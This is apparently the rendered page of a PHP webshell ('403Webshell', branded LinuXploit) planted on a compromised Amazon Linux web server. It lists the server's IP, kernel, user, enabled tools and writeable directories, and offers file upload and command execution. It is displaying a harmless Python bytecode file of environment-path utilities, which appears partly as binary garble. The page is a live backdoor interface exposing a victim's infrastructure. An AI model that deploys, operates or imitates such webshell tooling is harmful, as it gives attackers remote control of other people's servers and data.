403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/app/utilities/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/app/utilities/__pycache__/env_utils.cpython-310.pyc
o

$�ri3�@s<dZddlZddlmZdeefdd�Zdefdd�ZdS)	zT
Environment utilities for handling MAMP paths and other environment configuration.
�N)�Optional�returncCsrt�d�}t�d�}|s|sdSg}|r|�|�|r |�|�d�|�}tj��}|�d|�dd���|d<|S)at
    Get an environment dict with MAMP paths prepended to PATH.

    Reads MAMP_PHP_BIN and MAMP_MYSQL_BIN from environment variables.
    Returns None on production (EC2) where MAMP doesn't exist.
    Falls back gracefully if variables aren't set.

    Returns:
        dict: Copy of os.environ with MAMP paths prepended to PATH, or None if no MAMP paths configured.
    ZMAMP_PHP_BINZMAMP_MYSQL_BINN�:�PATH�)�os�getenv�append�join�environ�copy�get)Zmamp_php_binZmamp_mysql_binZ
mamp_pathsZ
mamp_path_str�env�r�)/tsai/repo/api/app/utilities/env_utils.py�get_mamp_env	s





rcCst�}|dur	|Stj��S)a

    Get an environment dict suitable for subprocess calls.

    Returns an environment with MAMP paths if available (local development),
    or just a copy of the current environment (production).

    Returns:
        dict: Environment dict for subprocess calls.
    N)rrrr)Zmamp_envrrr�get_subprocess_env+s
r)�__doc__r�typingr�dictrrrrrr�<module>s
"

Youez - 2016 - github.com/yon3zu
LinuXploit